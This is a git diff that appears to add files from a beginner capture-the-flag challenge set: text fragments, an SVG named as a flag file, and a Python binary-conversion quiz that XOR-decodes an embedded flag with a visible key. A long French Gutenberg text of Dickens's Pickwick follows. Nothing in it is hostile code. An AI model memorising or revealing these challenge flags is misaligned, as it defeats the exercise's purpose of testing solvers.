@@ -0,0 +1 @@
+single atom? The answer is about ninety successive cuts. Of course, no knife could be sharp
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zuqlzqjgwdpsgddkvkfnnm.txt b/big_zip/big-zip-files/zuqlzqjgwdpsgddkvkfnnm.txt
new file mode 100644
index 0000000..74750b6
--- /dev/null
+++ b/big_zip/big-zip-files/zuqlzqjgwdpsgddkvkfnnm.txt
@@ -0,0 +1 @@
+hemispheres. The right hemisphere of the cerebral cortex is mainly responsible for pattern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zvtuofpgroy.txt b/big_zip/big-zip-files/zvtuofpgroy.txt
new file mode 100644
index 0000000..5bafdf6
--- /dev/null
+++ b/big_zip/big-zip-files/zvtuofpgroy.txt
@@ -0,0 +1 @@
+law, it flies apart and has no further opportunity to experience another oscillation and another cusp and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zvzfrtmrwigbrisbkdpmud.txt b/big_zip/big-zip-files/zvzfrtmrwigbrisbkdpmud.txt
new file mode 100644
index 0000000..b70a340
--- /dev/null
+++ b/big_zip/big-zip-files/zvzfrtmrwigbrisbkdpmud.txt
@@ -0,0 +1 @@
+waves and still more exotic denizens of space is summed up, we will know what kind of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zwzompvirggxfwhlri.txt b/big_zip/big-zip-files/zwzompvirggxfwhlri.txt
new file mode 100644
index 0000000..cd5a45d
--- /dev/null
+++ b/big_zip/big-zip-files/zwzompvirggxfwhlri.txt
@@ -0,0 +1 @@
+most important task it faces: to preserve the lives and well-being of the citizens of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/zycxiljatekrtoejqflozui.txt b/big_zip/big-zip-files/zycxiljatekrtoejqflozui.txt
new file mode 100644
index 0000000..825e84e
--- /dev/null
+++ b/big_zip/big-zip-files/zycxiljatekrtoejqflozui.txt
@@ -0,0 +1 @@
+It was an observation that someone else might easily have ignored. Sticks, shadows,
\ No newline at end of file
diff --git a/convertme_py/convertme.py b/convertme_py/convertme.py
new file mode 100755
index 0000000..a36061d
--- /dev/null
+++ b/convertme_py/convertme.py
@@ -0,0 +1,36 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+import random
+
+
+
+def str_xor(secret, key):
+    #extend key to secret length
+    new_key = key
+    i = 0
+    while len(new_key) < len(secret):
+        new_key = new_key + key[i]
+        i = (i + 1) % len(key)        
+    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
+
+
+flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5f) + chr(0x05) + chr(0x08) + chr(0x2a) + chr(0x1c) + chr(0x5e) + chr(0x1e) + chr(0x1b) + chr(0x3b) + chr(0x17) + chr(0x51) + chr(0x5b) + chr(0x58) + chr(0x5c) + chr(0x3b) + chr(0x4c) + chr(0x06) + chr(0x5d) + chr(0x09) + chr(0x5e) + chr(0x00) + chr(0x41) + chr(0x01) + chr(0x13)
+
+
+num = random.choice(range(10,101))
+
+print('If ' + str(num) + ' is in decimal base, what is it in binary base?')
+
+ans = input('Answer: ')
+
+try:
+  ans_num = int(ans, base=2)
+  
+  if ans_num == num:
+    flag = str_xor(flag_enc, 'enkidu')
+    print('That is correct! Here\'s your flag: ' + flag)
+  else:
+    print(str(ans_num) + ' and ' + str(num) + ' are not equal.')
+  
+except ValueError:
+  print('That isn\'t a binary number. Binary numbers contain only 1\'s and 0\'s')
diff --git a/enhance/drawing.flag.svg b/enhance/drawing.flag.svg
new file mode 100755
index 0000000..b46a637
--- /dev/null
+++ b/enhance/drawing.flag.svg
@@ -0,0 +1,122 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://creativecommons.org/ns#"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="210mm"
+   height="297mm"
+   viewBox="0 0 210 297"
+   version="1.1"
+   id="svg8"
+   inkscape:version="0.92.5 (2060ec1f9f, 2020-04-08)"
+   sodipodi:docname="drawing.svg">
+  <defs
+     id="defs2" />
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#666666"
+     borderopacity="1.0"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="0.69833333"
+     inkscape:cx="400"
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+Project Gutenberg's Aventures de Monsieur Pickwick, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Aventures de Monsieur Pickwick, Vol. I
+
+Author: Charles Dickens
+
+Release Date: October 17, 2004 [EBook #13771]
+
+Language: French
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK AVENTURES DE MONSIEUR PICKWICK ***
+
+
+
+
+Produced by Robert Connal, Wilelmina Mallière and the Online
+Distributed Proofreading Team from images generously made available
+by gallica (Bibliothèque nationale de France) at
+http://gallica.bnf.fr.
+
+
+
+
+
+
+
+
+
+
+CHARLES DICKENS
+
+AVENTURES
+
+DE MONSIEUR
+
+PICKWICK
+
+ROMAN ANGLAIS
+
+
+TRADUIT AVEC L'AUTORISATION DE L'AUTEUR
+
+SOUS LA DIRECTION DE P. LORAIN
+
+PAR P. GROLIER
+
+
+TOME PREMIER
+
+PARIS
+
+LIBRAIRIE HACHETTE ET Cie 79, BOULEVARD SAINT-GERMAIN, 79
+
+1893
+
+
+
+
+AVENTURES
+
+DE
+
+M. PICKWICK.
+
+
+
+
+CHAPITRE PREMIER.
+
+Les Pickwickiens.
+
+
+Le premier jet de lumière qui convertit en une clarté brillante les
+ténèbres dont paraissait enveloppée l'apparition de l'immortel Pickwick
+sur l'horizon du monde savant, la première mention officielle de cet
+homme prodigieux, se trouve dans les statuts insérés parmi les
+procès-verbaux du Pickwick-Club. L'éditeur du présent ouvrage est
+heureux de pouvoir les mettre sous les yeux de ses lecteurs, comme une
+preuve de l'attention scrupuleuse, de l'infatigable assiduité, de la
+sagacité investigatrice, avec lesquelles il a conduit ses recherches, au
+sein des nombreux documents confiés à ses soins.
+
+«_Séance du 12 mai 1831, présidée par Joseph Smiggers, Esq.
+V.P.P.M.P.C.[1] a été arrêté ce qu'il suit à l'unanimité._
+
+[Footnote 1: Écuyer, vice-président perpétuel, membre du Pickwick-Club.]
+
+«L'ASSOCIATION a entendu lire avec un sentiment de satisfaction sans
+mélange et avec une approbation absolue, les papiers communiqués par
+Samuel Pickwick, Esq. P.P.M.P.C.[2], et intitulés _Recherches sur les
+sources des étangs de Hampstead, suivies de quelques observations sur la
+théorie des têtards_.
+
+[Footnote 2: Écuyer, président perpétuel, membre du Pickwick-Club.]
+
+«L'ASSOCIATION en offre ses remercîments les plus sincères audit Samuël
+Pickwick, Esq. P.P.M.P.C.
+
+«L'ASSOCIATION, tout en appréciant au plus haut degré les avantages que
+la science doit retirer des ouvrages susmentionnés, aussi bien que des
+infatigables recherches de Samuël Pickwick dans Hornsey, Highgate,
+Brixton et Camberwell[3], ne peut s'empêcher de reconnaître les
+inappréciables résultats dont on pourrait se flatter pour la diffusion
+des connaissances utiles, et pour le perfectionnement de l'instruction,
+si les travaux de cet homme illustre avaient lieu sur une plus vaste
+échelle, c'est-à-dire si ses voyages étaient plus étendus, aussi bien
+que la sphère de ses observations.
+
+[Footnote 3: Villages aux environs de Londres.]
+
+«Dans ce but, l'ASSOCIATION a pris en sérieuse considération une
+proposition émanant du susdit Samuël Pickwick, Esq. P. P.M.P.C., et de
+trois autres pickwickiens ci-après nommés, et tendant à former une
+nouvelle branche de pickwickiens-unis, sous le titre de _Société
+correspondante_ du Pickwick-Club.
+
+«Ladite proposition ayant été approuvée et sanctionnée par
+l'ASSOCIATION,
+
+«La _Société correspondante_ du Pickwick-Club est par les présentes
+constituée; Samuël Pickwick, Esq. P.P.M.P.C., Auguste Snodgrass, Esq.
+M.P.C., Tracy Tupman, Esq. M.P. C., et Nathaniel Winkle, Esq. M.P.C.,
+sont également, par les présentes, choisis et nommés membres de ladite
+_Société correspondante_, et chargés d'adresser de temps en temps à
+l'ASSOCIATION DU PICKWICK-CLUB, à Londres, des détails authentiques sur
+leurs voyages et leurs investigations; leurs observations sur les
+caractères et sur les moeurs; toutes leurs aventures enfin, aussi bien
+que les récits et autres opuscules auxquels pourraient donner lieu les
+scènes locales, ou les souvenirs qui s'y rattachent.
+
+«L'ASSOCIATION reconnaît cordialement ce principe que les membres de la
+_Société correspondante_ doivent supporter eux-mêmes les dépenses de
+leurs voyages; et elle ne voit aucun inconvénient à ce que les membres
+de ladite société poursuivent leurs recherches pendant tout le temps
+qu'il leur plaira, pourvu que ce soit aux mêmes conditions.
+
+«Enfin les membres de la susdite société sont par les présentes informés
+que leur proposition de payer le port de leurs lettres et de leurs
+envois a été discutée par l'ASSOCIATION; que l'ASSOCIATION considère
+cette offre comme digne des grands esprits dont elle émane, et qu'elle
+lui donne sa complète approbation.»
+
+Un observateur superficiel, ajoute le secrétaire, dans les notes duquel
+nous puisons le récit suivant; un observateur superficiel n'aurait
+peut-être rien trouvé d'extraordinaire dans la tête chauve et dans les
+besicles circulaires qui étaient invariablement tournées vers le visage
+du secrétaire de l'Association, tandis qu'il lisait les statuts
+ci-dessus rapportés; mais c'était un spectacle véritablement remarquable
+pour quiconque savait que le cerveau gigantesque de Pickwick travaillait
+sous ce front, et que les yeux expressifs de Pickwick étincelaient
+derrière ces verres de lunettes. En effet l'homme qui avait suivi
+jusqu'à leurs sources les vastes étangs de Hampstead[4], l'homme qui
+avait remué le monde scientifique par sa théorie des têtards, était
+assis là, aussi calme, aussi immuable que les eaux profondes de ces
+étangs, par un jour de gelée; ou plutôt comme un solitaire spécimen de
+ces innocents têtards dans la profondeur caverneuse d'une jarre de
+terre.
+
+[Footnote 4: Hampstead, village tout près de Londres.]
+
+Mais combien ce spectacle devint plus intéressant, quand aux cris
+répétés de Pickwick! Pickwick! qui s'échappaient simultanément de la
+bouche de tous ses disciples, cet homme illustre se leva, plein de vie
+et d'animation, monta lentement l'escabeau rustique sur lequel il était
+primitivement assis, et adressa la parole au club que lui-même avait
+fondé. Quelle étude pour un artiste que cette scène attachante!
+L'éloquent Pickwick était là, une main gracieusement cachée sous les
+pans de son habit, tandis que l'autre s'agitait dans l'air pour donner
+plus de force à sa déclamation chaleureuse. Sa position élevée révélait
+son pantalon collant et ses guêtres, auxquelles on n'aurait peut-être
+pas accordé grande attention si elles avaient revêtu un autre homme,
+mais qui, parées, illustrées par le contact de Pickwick, s'il est permis
+d'employer cette expression, remplissaient involontairement les
+spectateurs d'un respect et d'une crainte religieuse. Il était entouré
+par ces hommes de coeur qui s'étaient offerts pour partager les périls de
+ses voyages, et qui devaient partager aussi la gloire de ses
+découvertes. A sa droite, siégeait Tracy Tupman, le trop inflammable
+Tupman, qui, à la sagesse et à l'expérience de l'âge mûr, unissait
+l'enthousiasme et l'ardeur d'un jeune homme, dans la plus intéressante
+et la plus pardonnable des faiblesses humaines, l'amour!--le temps et la
+bonne chère avaient épaissi sa tournure, jadis si romantique; son gilet
+de soie noire était graduellement devenu plus arrondi, tandis que sa
+chaîne d'or disparaissait pouce par pouce à ses propres yeux; son large
+menton débordait de plus en plus par-dessus sa cravate blanche; mais
+l'âme de Tupman n'avait point changé; l'admiration pour le beau sexe
+était toujours sa passion dominante.--A gauche du maître, on voyait le
+poétique Snodgrass, mystérieusement enveloppé d'un manteau bleu, fourré
+d'une peau de chien. Auprès de lui, Winkle, le chasseur, étalait
+complaisamment sa veste de chasse toute neuve, sa cravate écossaise, et
+son étroit pantalon de drap gris.
+
+Le discours de M. Pickwick et les débats qui s'élevèrent à cette
+occasion, sont rapportés dans les procès-verbaux du club. Ils offrent
+également une ressemblance frappante avec les discussions des assemblées
+les plus célèbres; et comme il est toujours curieux de comparer les
+faits et gestes des grands hommes, nous allons transcrire le
+procès-verbal de cette séance mémorable.
+
+«M. Pickwick fait observer, dit le secrétaire, que la gloire est chère
+au coeur de tous les hommes. La gloire poétique est chère au coeur de son
+ami Snodgrass; la gloire des conquêtes est également chère à son ami
+Tupman; et le désir d'acquérir de la renommée dans tous les exercices du
+corps, existe, au plus haut degré dans le sein de son ami Winkle. Il (M.
+Pickwick) ne saurait nier l'influence qu'ont exercée sur lui-même les
+passions humaines, les sentiments humains (_applaudissements_);
+peut-être même les faiblesses humaines (_violents cris de: non! non_).
+Mais il dira ceci: que si jamais le feu de l'amour-propre s'alluma dans
+son sein, le désir d'être utile à l'espèce humaine l'éteignit
+entièrement. Le désir d'obtenir l'estime du genre humain était son dada,
+la philanthropie son paratonnerre (_véhémente approbation_). Il a senti
+quelque orgueil, il l'avoue librement (et que ses ennemis s'emparent de
+cet aveu s'ils le veulent), il a senti quelque orgueil quand il a
+présenté au monde sa théorie des têtards. Cette théorie peut être
+célèbre, ou ne l'être pas. (Une voix dit: _Elle l'est!--Grands
+applaudissements._) Il accepte l'assertion de l'honorable pickwickien
+dont la voix vient de se faire entendre. Sa théorie est célèbre! Mais si
+la renommée de ce traité devait s'étendre aux dernières bornes du monde
+connu, l'orgueil que l'auteur ressentirait de cette production ne serait
+rien auprès de celui qu'il éprouve en ce moment, le plus glorieux de son
+existence (_acclamations_). Il n'est qu'un individu bien humble (_Non!
+non!_); cependant il ne peut se dissimuler qu'il est choisi par
+l'Association pour un service d'une grande importance, et qui offre
+quelques risques, aujourd'hui surtout que le désordre règne sur les
+grandes routes, et que les cochers sont démoralisés. Regardez sur le
+continent, et contemplez les scènes qui se passent chez toutes les
+nations. Les diligences versent de toutes parts; les chevaux prennent le
+mors aux dents; les bateaux chavirent, les chaudières éclatent!
+(_applaudissements.--Une voix crie, non!_) Non! (_applaudissements_) que
+l'honorable pickwickien qui a lancé un non si bruyant, s'avance et me
+démente s'il ose! Qui est-ce qui a crié non? (_Bruyantes acclamations._)
+Serait-ce l'amour-propre désappointé d'un homme... il ne veut pas dire
+d'un bonnetier (_vifs applaudissements_) qui, jaloux des louanges qu'on
+a accordées, peut-être sans motif, aux recherches de l'orateur, et piqué
+par les censures dont on a accablé les misérables tentatives suggérées
+par l'envie, prend maintenant ce moyen vif et calomnieux....
+
+«M. Blotton (d'Algate) se lève pour demander le rappel à l'ordre.--Est-ce
+à lui que l'honorable pickwickien faisait allusion? (_Cris à
+l'ordre!--Le président[5]:--Oui!--Non!--Continuez!--Assez!_--etc.)
+
+[Footnote 5: C'est par ce cri que les membres du parlement invitent le
+président à rétablir l'ordre.]
+
+«M. Pickwick ne se laissera pas intimider par des clameurs. Il a fait
+allusion à l'honorable gentleman! (_Vive sensation._)
+
+«Dans ce cas, M. Blotton n'a que deux mots à dire: il repousse avec un
+profond mépris l'accusation de l'honorable gentleman, comme fausse et
+diffamatoire (_grands applaudissements_). L'honorable gentleman est un
+blagueur. (_Immense confusion. Grands cris de: Le président! à
+l'ordre!_)
+
+«M. Snodgrass se lève pour demander le rappel à l'ordre. Il en appelle
+au président. (_Écoutez!_) Il demande si l'on n'arrêtera pas cette
+honteuse discussion entre deux membres du club. (_Écoutez! écoutez!_)
+
+«Le président est convaincu que l'honorable pickwickien retirera
+l'expression dont il vient de se servir.
+
+«M. Blotton, avec tout le respect possible pour le président, affirme
+qu'il n'en fera rien.
+
+«Le président regarde comme un devoir impératif de demander à
+l'honorable gentleman s'il a employé l'expression qui vient de lui
+échapper, suivant le sens qu'on lui donne communément.
+
+«M. Blotton n'hésite pas à dire que non, et qu'il n'a employé ce mot
+que dans le sens pickwickien. (_Écoutez! Écoutez!_) Il est obligé de
+reconnaître que, personnellement, il professe la plus grande estime pour
+l'honorable gentleman en question. Il ne l'a considéré comme un blagueur
+que sous un point de vue entièrement pickwickien. (_Écoutez! écoutez!_)
+
+«M. Pickwick déclare qu'il est complétement satisfait par l'explication
+noble et candide de son honorable ami. Il désire qu'il soit bien entendu
+que ses propres observations n'ont dû être comprises que dans leur sens
+purement pickwickien (_applaudissements._)»
+
+Ici finit le procès-verbal, et en effet la discussion ne pouvait
+continuer, puisqu'on était arrivé à une conclusion si satisfaisante, si
+claire. Nous n'avons pas d'autorité officielle pour les faits que le
+lecteur trouvera dans le chapitre suivant, mais ils ont été recueillis
+d'après des lettres et d'autres pièces manuscrites, dont on ne peut
+mettre en question l'authenticité.
+
+
+
+
+
+
+CHAPITRE II.
+
+Le premier jour de voyage et la première soirée d'aventures, avec leurs
+conséquences.
+
+
+Le soleil, ce ponctuel factotum de l'univers, venait de se lever et
+commençait à éclairer le matin du 13 mai 1831, quand M. Samuël Pickwick,
+semblable à cet astre radieux, sortit des bras du sommeil, ouvrit la
+croisée de sa chambre, et laissa tomber ses regards sur le monde, qui
+s'agitait au-dessous de lui. La rue Goswell était à ses pieds, la rue
+Goswell était à sa droite, la rue Goswell était à sa gauche, aussi loin
+que l'oeil pouvait s'étendre, et en face de lui se trouvait encore la rue
+Goswell. «Telles, pensa M. Pickwick, telles sont les vues étroites de
+ces philosophes, qui, satisfaits d'examiner la surface des choses, ne
+cherchent point à en étudier les mystères cachés. Comme eux, je pourrais
+me contenter de regarder toujours sur la rue Goswell, sans faire aucun
+effort pour pénétrer dans les contrées inconnues qui l'environnent.»
+Ayant laissé tomber cette pensée sublime, M. Pickwick s'occupe de
+s'habiller et de serrer ses effets dans son portemanteau. Les grands
+hommes sont rarement très-scrupuleux pour leur costume: aussi la barbe,
+la toilette, le déjeuner se succédèrent-ils rapidement. Au bout d'une
+heure M. Pickwick était arrivé à la place des voitures de Saint-Martin
+le Grand, ayant son portemanteau sous son bras, son télescope dans la
+poche de sa redingote, et dans celle de son gilet son mémorandum,
+toujours prêt à recevoir les découvertes dignes d'être notées.
+
+«Cocher! cria M. Pickwick.
+
+--Voilà, monsieur! répondit un étrange spécimen du genre homme, lequel
+avec son sarrau et son tablier de toile, portant au cou une plaque de
+cuivre numérotée, avait l'air d'être catalogué dans quelque collection
+d'objets rares. C'était le garçon de place. Voilà, monsieur. Hé!
+cabriolet en tête!» Et le cocher étant sorti de la taverne où il fumait
+sa pipe, M. Pickwick et son portemanteau furent hissés dans la voiture.
+
+--Golden-Cross, dit M. Pickwick.
+
+--Ce n'est qu'une méchante course d'un shilling, Tom, cria le cocher
+d'un ton de mauvaise humeur, pour l'édification du garçon de place,
+comme la voiture partait.
+
+--Quel âge a cette bête-là, mon ami? demanda M. Pickwick en se frottant
+le nez avec le shilling qu'il tenait tout prêt pour payer sa course.
+
+--Quarante-deux ans, répliqua le cocher, après avoir lorgné M. Pickwick
+du coin de l'oeil.
+
+--Quoi! s'écria l'homme illustre en mettant la main sur son carnet.»
+
+Le cocher réitéra son assertion; M. Pickwick le regarda fixement au
+visage; mais il ne découvrit aucune hésitation dans ses traits, et nota
+le fait immédiatement.
+
+«Et combien de temps reste-t-il hors de l'écurie, continua M. Pickwick,
+cherchant toujours à acquérir quelques notions utiles.
+
+--Deux ou trois semaines.
+
+--Deux ou trois semaines hors de l'écurie! dit le philosophe plein
+d'étonnement; et il tira de nouveau son portefeuille.
+
+--Les écuries, répliqua froidement le cocher, sont à Pentonville; mais
+il y entre rarement à cause de sa faiblesse.
+
+--A cause de sa faiblesse? répéta M. Pickwick avec perplexité.
+
+--Il tombe toujours quand on l'ôte du cabriolet. Mais au contraire quand
+il y est bien attelé, nous tenons les guides courtes et il ne peut pas
+broncher. Nous avons une paire de fameuses roues; aussi, pour peu qu'il
+bouge, elles roulent après lui, et il faut bien qu'il marche. Il ne peut
+pas s'en empêcher.»
+
+M. Pickwick enregistra chaque parole de ce récit, pour en faire part à
+son club, comme d'une singulière preuve de la vitalité des chevaux dans
+les circonstances les plus difficiles. Il achevait d'écrire, lorsque le
+cabriolet atteignit Golden-Cross. Aussitôt le cocher saute en bas, M.
+Pickwick descend avec précaution, et MM. Tupman, Snodgrass et Winkle,
+qui attendaient avec anxiété l'arrivée de leur illustre chef,
+s'approchent de lui pour le féliciter.
+
+«Tenez, cocher,» dit M. Pickwick en tendant le shilling à son
+conducteur.
+
+Mais quel fut l'étonnement du savant personnage lorsque cet homme
+inconcevable, jetant l'argent sur le pavé, déclara, en langage figuré,
+qu'il ne demandait d'autre payement que le plaisir de boxer avec M.
+Pickwick tout son shilling.
+
+«Vous êtes fou, dit M. Snodgrass.
+
+--Ivre, reprit M. Winkle.
+
+--Tous les deux, ajouta M. Tupman.
+
+--Avancez! disait le cocher, lançant dans l'espace une multitude de
+coups de poings préparatoires. Avancez tous les quatre!
+
+--En voilà une bonne! s'écrièrent une demi-douzaine d'autres cochers: A
+la besogne, John! et ils se rangèrent en cercle avec une grande
+satisfaction.
+
+--Qu'est-ce qu'y a, John? demanda un gentleman, porteur de manches de
+calicot noir.
+
+--Ce qu'y a! répliqua le cocher. Ce vieux a pris mon numéro!
+
+--Je n'ai pas pris votre numéro, dit M. Pickwick d'un ton indigné.
+
+--Pourquoi l'avez-vous noté, alors? demanda le cocher.
+
+--Je ne l'ai pas noté! s'écria M. Pickwick, avec indignation.
+
+--Croiriez-vous, continua le cocher, en s'adressant à la foule;
+croiriez-vous que ce mouchard-là monte dans mon cabriolet, prend mon
+numéro, et couche sur le papier chaque parole que j'ai dite?» (Le
+mémorandum revint comme un trait de lumière dans la mémoire de M.
+Pickwick.)
+
+«Il a fait ça? cria un autre cocher.
+
+--Oui, il a fait ça. Après m'avoir induit par ses vexations à
+l'attaquer, voilà qu'il a trois témoins tout prêts pour déposer contre
+moi. Mais il me le payera, quand je devrais en avoir pour six mois!
+Avancez donc.» Et dans son exaspération, avec un dédain superbe pour ses
+propres effets, le cocher lança son chapeau sur le pavé, fit sauter les
+lunettes de M. Pickwick, envoya un coup de poing sous le nez de M.
+Pickwick, un autre coup de poing dans la poitrine de M. Pickwick, un
+troisième dans l'oeil de M. Snodgrass, un quatrième pour varier dans le
+gilet de M. Tupman; puis s'en alla d'un saut au milieu de la rue, puis
+revint sur le trottoir, et finalement enleva à M. Winkle le peu d'air
+respirable que renfermaient momentanément ses poumons, le tout en une
+douzaine de secondes.
+
+«Où y a-t-il un constable? dit M. Snodgrass.
+
+--Mettez-les sous la pompe, suggéra un marchand de pâtés chauds.
+
+--Vous me le payerez, dit M. Pickwick respirant avec difficulté.
+
+--Mouchards! crièrent quelques voix dans la foule.
+
+--Avancez donc, beugla le cocher, qui pendant ce temps avait continué de
+lancer des coups de poings dans le vide.»
+
+Jusqu'alors la populace avait contemplé passivement cette scène; mais le
+bruit que les pickwickiens étaient des mouchards s'étant répandu de
+proche en proche, les assistants commencèrent à discuter avec beaucoup
+de chaleur s'il ne conviendrait pas de suivre la proposition de
+l'irascible marchand de pâtés. On ne peut dire à quelles voies de fait
+ils se seraient portés, si l'intervention d'un nouvel arrivant n'avait
+terminé inopinément la bagarre.
+
+«Qu'est-ce qu'il y a? demanda un grand jeune homme effilé, revêtu d'un
+habit vert, et qui sortait du bureau des voitures.
+
+--Mouchards! hurla de nouveau la foule.
+
+--C'est faux! cria M. Pickwick avec un accent qui devait convaincre tout
+auditeur exempt de préjugés.
+
+--Bien vrai? bien vrai?» demanda le jeune homme, en se faisant passage à
+travers la multitude, par l'infaillible procédé qui consiste à donner
+des coups de coude à droite et à gauche.
+
+M. Pickwick, en quelques phrases précipitées, lui expliqua le véritable
+état des choses.
+
+«S'il en est ainsi, venez avec moi, dit l'habit vert, entraînant l'homme
+illustre et parlant tout le long du chemin. Ici, n° 924, prenez le prix
+de votre course, et allez vous-en. Respectable gentleman, je réponds de
+lui. Pas de sottises. Par ici, monsieur. Où sont vos amis? Erreur à ce
+que je vois. N'importe. Des accidents. Ça arrive à tout le monde.
+Courage! on n'en meurt pas; il faut faire contre fortune bon coeur.
+Citez-le devant le commissaire; qu'il mette cela dans sa poche si cela
+lui va. Damnés coquins! et débitant avec une volubilité extraordinaire
+un long chapelet de sentences semblables, l'étranger introduisit M.
+Pickwick et ses disciples dans la chambre d'attente des voyageurs.
+
+--Garçon! cria l'étranger en tirant la sonnette avec une violence
+formidable, des verres pour tout le monde; du grog à l'eau-de-vie chaud,
+fort sucré, et qu'il y en ait beaucoup. L'oeil endommagé, monsieur?
+Garçon, un bifteck cru, pour l'oeil de monsieur. Rien comme le bifteck
+cru pour une contusion, monsieur. Un candélabre à gaz, excellent, mais
+incommode. Diablement drôle de se tenir en pleine rue une demi-heure,
+l'oeil appuyé sur un candélabre à gaz. La bonne plaisanterie, hein! Ha!
+ha!» Et l'étranger, sans s'arrêter pour reprendre haleine, avala d'un
+seul trait une demi-pinte de grog brûlant, puis il s'étala sur une
+chaise, avec autant d'aisance que si rien de remarquable n'était arrivé.
+
+M. Pickwick eut le temps d'observer le costume et la tournure de cette
+nouvelle connaissance, tandis que ses trois compagnons étaient occupés à
+lui offrir leurs remerciements.
+
+C'était un homme d'une taille moyenne; mais comme il avait le corps
+mince et les jambes très-longues, il paraissait beaucoup plus grand
+qu'il ne l'était en réalité. Son habit vert avait été un vêtement
+élégant dans les beaux jours des habits à queue de morue;
+malheureusement, dans ce temps-là, il avait sans doute été fait pour un
+homme beaucoup plus petit que l'étranger, car les manches salies et
+fanées lui descendaient à peine aux poignets. Sans égard pour l'âge
+respectable de cet habit, il l'avait boutonné jusqu'au menton, au hasard
+imminent d'en faire craquer le dos. Son cou était décoré d'un vieux col
+noir, mais on n'y apercevait aucun vestige d'un col de chemise. Son
+étroit pantalon étalait çà et là des places luisantes qui indiquaient de
+longs services; il était fortement tendu par des sous-pieds sur des
+souliers rapiécés, afin de cacher, sans doute, des bas, jadis blancs,
+qui se trahissaient encore malgré cette précaution inutile. De chaque
+côté d'un chapeau à bords retroussés tombaient en boucles négligées les
+longs cheveux noirs du personnage, et l'on entrevoyait la chair de ses
+poignets entre ses gants et les parements de son habit Enfin son visage
+était maigre et pâle, et dans toute sa personne régnait un air
+indéfinissable d'impudence hâbleuse et d'aplomb imperturbable.
+
+Tel était l'individu que M. Pickwick examinait à travers ses lunettes
+(heureusement retrouvées), et auquel il offrit, en termes choisis, ses
+remercîments, après que ses trois amis eurent épuisé les leurs.
+
+«N'en parlons plus, dit l'étranger, coupant court aux compliments, ça
+suffit. Fameux gaillard, ce cocher, il jouait bien des poings, mais si
+j'avais été votre ami à l'habit de chasse vert, Dieu me damne! j'aurais
+brisé la tête du cocher en moins de rien; celle du pâtissier aussi,
+parole d'honneur!»
+
+Ce discours tout d'une haleine fut interrompu par le cocher de
+Rochester, annonçant que le _Commodore_ était prêt à partir.
+
+«Commodore! murmura l'étranger en se levant: ma voiture, place retenue.
+Place d'impériale. Payez l'eau-de-vie et l'eau; faudrait changer un
+billet de cinq livres; il circule beaucoup de pièces fausses, monnaie de
+Birmingham; connu. Et il secoua la tête d'un air fin.»
+
+Or, M. Pickwick et ses trois compagnons avaient précisément projeté de
+faire leur première halte à Rochester. Ils déclarèrent donc à leur
+nouvelle connaissance qu'ils suivaient la même route, et convinrent
+d'occuper le siége de derrière de la voiture, où ils pourraient tenir
+tous les cinq.
+
+«Allons! haut! dit l'étranger, en aidant M. Pickwick à grimper sur
+l'impériale, avec une précipitation qui dérangea matériellement la
+gravité ordinaire du philosophe.
+
+--Aucun bagage, monsieur? demanda le cocher.
+
+--Qui? moi? répliqua l'étranger: Paquet de papier gris, voilà! le reste
+parti par eau; grosses caisses clouées, grosses comme des maisons,
+lourdes, lourdes, diablement lourdes!» Et il enfonça dans sa poche, le
+plus qu'il put, le paquet de papier gris, qui, à en juger d'après les
+apparences paraissait contenir une chemise et un mouchoir.
+
+«Gare! gare les têtes! cria le babillard étranger, quand ils arrivèrent
+sous la voûte, par laquelle entraient ou sortaient les voitures;
+terrible endroit, très-dangereux; l'autre jour; cinq enfants; mère;
+grande femme, mangeant des sandwiches, oublie la voûte; crac! les
+enfants se retournent; la tête de la mère enlevée! les sandwiches dans
+sa main; pas de bouche pour les mettre, le chef de la famille n'y était
+plus. Horrible! horrible! Vous regardez Whitehall, monsieur? beau
+palais, petite croisée; la tête de quelqu'un tombée là[6]... Eh! Il
+n'avait pas pris garde non plus! Eh! monsieur, eh!
+
+[Footnote 6: Charles Ier, décapité sur un échafaud, dressé contre une
+des fenêtres du palais et par où il sortit.
+
+(_Note du traducteur._)]
+
+--Je ruminais, dit M. Pickwick, sur l'étrange mutabilité des choses de
+ce monde.
+
+--Ah! je devine: on entre par la porte du palais un jour; on en sort par
+la fenêtre le lendemain. Philosophe, monsieur?
+
+--Observateur de la nature humaine, monsieur.
+
+--Moi aussi, comme la plupart des hommes, quand ils n'ont pas
+grand'chose à faire, et encore moins à gagner. Poëte, monsieur?
+
+--Mon ami, M. Snodgrass, a une disposition poétique très-prononcée,
+répondit M. Pickwick.
+
+--Moi aussi, reprit l'étranger, poëme épique; dix mille vers; révolution
+de juillet; composé sur place; Mars le jour, Apollon la nuit;
+déchargeant la fusil, pinçant la lyre.
+
+--Vous étiez présent à cette glorieuse scène? demanda M. Snodgrass.
+
+--Présent! un peu[7], j'ajustais un Suisse; j'ajustais un vers; j'entre
+chez un marchand de vin et je l'écris; je retourne dans la rue, pouf!
+pan! une autre idée; je rentre dans la boutique, plume et encre; dans la
+rue, d'estoc et de taille. Noble temps, monsieur! Chasseur, monsieur? se
+tournant brusquement vers M. Winkle.
+
+[Footnote 7: Exemple remarquable de la force prophétique de
